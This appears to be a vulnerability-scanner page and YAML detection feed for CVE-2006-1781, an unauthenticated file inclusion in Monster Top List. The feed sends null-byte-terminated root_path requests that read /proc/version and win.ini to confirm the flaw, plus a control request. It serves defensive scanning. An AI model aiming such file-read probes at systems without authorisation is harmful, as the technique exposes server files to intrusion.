Monster Top List — 1 vulnerability check

noctis ships 1 vulnerability check for Monster Top List, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Monster Top List sources/functions.php root_path File Inclusion

CVECVE-2006-1781
Severityhigh · CVSS 7.5
Categoryfile-read — File read
Serviceshttp, https
Detectionset_var, http_request, match · highest QoD 75
Feedtests/vulnerabilities/monster-top-list/CVE-2006-1781.yaml

Tests Monster Top List (MTL) 1.4.2 and earlier for the unauthenticated file inclusion in sources/functions.php. The root_path parameter is put in an include path without filtering when PHP runs with register_globals on, so a value ending with a NUL byte includes any local file when magic_quotes_gpc is off on PHP older than 5.3.4 (and a URL when allow_url_include allows it). Under the web root, /toplist, /mtl and /top, the feed requests the script with root_path set to /proc/version, a read-only kernel file, then to /windows/win.ini for Windows servers. The kernel version line or the win.ini sections printed in the reply confirm the inclusion. A control request for an absent random file through the same parameter must not return the file, so a server that serves the same content on every request is not reported. Nothing is written on the target.

How noctis detects it

  1. HTTP(S) request GET {{dir}}/sources/functions.php?root_path=/proc/version%00
  2. Checks version_r.body for Linux version [0-9]+\.[0-9]+[^ \r\n<]* \([^\r\n]*\) #[0-9]+
  3. HTTP(S) request GET {{dir}}/sources/functions.php?root_path=/windows/win.ini%00
  4. Checks winini_r.body for (?i)(; for 16-bit app support|\[fonts\])
  5. HTTP(S) request GET {{dir}}/sources/functions.php?root_path=/noctis-absent-{{oob_token}}/{{hit_file}}%00
  6. Checks ctrl_r.body for (?i)(Linux version [0-9]+\.[0-9]+[^ \r\n<]* \(|; for 16-bit app suppo…
  7. Checks hit_file for ^(proc/version|windows/win\.ini)$ → finding QoD 75: Monster Top List sources/functions.php root_path File Inclusion (CVE-2006-1781)

References:

Feed source — tests/vulnerabilities/monster-top-list/CVE-2006-1781.yaml
# Monster Top List (MTL) sources/functions.php root_path file inclusion — CVE-2006-1781
#
# sources/functions.php of Circle R Monster Top List <= 1.4.2 builds an include path
# from the root_path request parameter without filtering
# (include $root_path . "sources/func_output.php"). It needs register_globals on. With
# magic_quotes_gpc off on PHP < 5.3.4, a "/<file>%00" value cuts the appended suffix
# and includes any local file, which PHP runs (or prints as-is when it holds no PHP);
# a URL value includes remote code when allow_url_include permits it.
#
# Detection (benign, read-only): GET sources/functions.php?root_path=/proc/version%00
# — a read-only kernel file with a fixed "Linux version <release> (...) #<n>" line —
# then /windows/win.ini when the Linux file gives nothing. The file content printed in the
# reply proves the inclusion. QoD 75 (response analysis).
#
# Improvements over the source NASL:
#   - the NASL first requires the "Monster Top List" title on the index page; the feed does not,
#     so a renamed or themed install is still reached, and keys on the inclusion itself.
#   - /proc/version: procfs cannot be rewritten, so nothing on the target can change;
#     /etc/passwd is not fetched.
#   - A control request (same script and parameter, a path in an absent random
#     directory ending with the file that hit) must come back WITHOUT the file
#     content, so a blanket responder or a honeypot keyed on the file name is not
#     reported (fail-closed: no control reply, no finding).
#   - Probes the web root, /toplist, /mtl and /top instead of only /toplist.
#
# CVSS: CVE-2006-1781 has an NVD v2 score of 7.5 only (no v3).
#
# Ported from OpenVAS/Greenbone NVT 2008/mtl_remote_file_include.nasl
# (OID 1.3.6.1.4.1.25623.1.0.80073, GPL-2.0-only).
uid: 3189a438-40df-42b6-af83-1e6a07833cbb
name: "Monster Top List sources/functions.php root_path File Inclusion (CVE-2006-1781)"
description: |
  Tests Monster Top List (MTL) 1.4.2 and earlier for the unauthenticated file
  inclusion in sources/functions.php. The root_path parameter is put in an include
  path without filtering when PHP runs with register_globals on, so a value ending
  with a NUL byte includes any local file when magic_quotes_gpc is off on PHP older
  than 5.3.4 (and a URL when allow_url_include allows it). Under the web root,
  /toplist, /mtl and /top, the feed requests the script with root_path set to
  /proc/version, a read-only kernel file, then to /windows/win.ini for Windows
  servers. The kernel version line or the win.ini sections printed in the reply
  confirm the inclusion. A control request for an absent random file through the
  same parameter must not return the file, so a server that serves the same
  content on every request is not reported. Nothing is written on the target.
cves: [CVE-2006-1781]
cvss: 7.5
severity: high
category: file-read
confidence_base: 0.30
tags: [monster-top-list, mtl, php, file-inclusion, lfi, rfi, null-byte, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2006-1781"
  # OpenVAS/Greenbone NASL 2008/mtl_remote_file_include.nasl (GPL-2.0-only)

steps:
  # Loop group: every following step runs once per install location.
  - id: init-hit-file
    action: set_var
    var_name: hit_file
    var_value: ""
    loop:
      var: dir
      over: ["", "/toplist", "/mtl", "/top"]

  - id: init-hit-text
    action: set_var
    var_name: hit_text
    var_value: ""

  - id: init-version-r
    action: set_var
    var_name: version_r
    var_value: {status: 0, body: ""}

  - id: init-winini-r
    action: set_var
    var_name: winini_r
    var_value: {status: 0, body: ""}

  - id: init-ctrl-r
    action: set_var
    var_name: ctrl_r
    var_value: {status: 0, body: ""}

  - id: init-ctrl-hit
    action: set_var
    var_name: ctrl_hit
    var_value: false

  - id: mtl-version
    action: http_request
    method: GET
    path: "{{dir}}/sources/functions.php?root_path=/proc/version%00"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: version_r

  - id: mtl-version-content
    action: match
    source: version_r.body
    pattern: "Linux version [0-9]+\\.[0-9]+[^ \\r\\n<]* \\([^\\r\\n]*\\) #[0-9]+"
    on_match:
      set_vars:
        hit_file: "proc/version"
        hit_text: "the Linux kernel version line of /proc/version"

  # Windows server: windows/win.ini, only when the script answered (200).
  - id: mtl-winini
    action: http_request
    method: GET
    path: "{{dir}}/sources/functions.php?root_path=/windows/win.ini%00"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'hit_file == "" && version_r.status == 200'
    store_as: winini_r

  - id: mtl-winini-content
    action: match
    source: winini_r.body
    pattern: "(?i)(; for 16-bit app support|\\[fonts\\])"
    condition: 'hit_file == "" && version_r.status == 200'
    on_match:
      set_vars:
        hit_file: "windows/win.ini"
        hit_text: "the sections of windows/win.ini"

  # Control: same script and parameter, absent random file ending with the file that hit.
  - id: control
    action: http_request
    method: GET
    path: "{{dir}}/sources/functions.php?root_path=/noctis-absent-{{oob_token}}/{{hit_file}}%00"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'hit_file != ""'
    store_as: ctrl_r

  - id: control-content
    action: match
    source: ctrl_r.body
    pattern: "(?i)(Linux version [0-9]+\\.[0-9]+[^ \\r\\n<]* \\(|; for 16-bit app support|\\[fonts\\])"
    condition: 'hit_file != ""'
    on_match:
      set_vars:
        ctrl_hit: true

  - id: report
    action: match
    source: hit_file
    pattern: "^(proc/version|windows/win\\.ini)$"
    condition: "ctrl_r.status != 0 && ctrl_hit == false"
    on_match:
      finding:
        title: "Monster Top List sources/functions.php root_path File Inclusion (CVE-2006-1781)"
        description: "An unauthenticated request to sources/functions.php whose root_path parameter held a path ending in a NUL byte made Monster Top List include a local system file and print it, while the same request for an absent file did not. The same flaw includes any file the web server user can read and runs any PHP code it holds."
        remediation: "The product is no longer maintained: remove it or restrict access to sources/functions.php. Otherwise turn register_globals off, turn magic_quotes_gpc on or move to PHP 5.3.4 or later, where a NUL byte no longer cuts a path."
        confidence_delta: 0.55
        qod: 75
        evidence: "GET {{dir}}/sources/functions.php?root_path=/{{hit_file}}%00 returned {{hit_text}}; control for an absent file returned no file content"
      stop: true

View these feeds on GitHub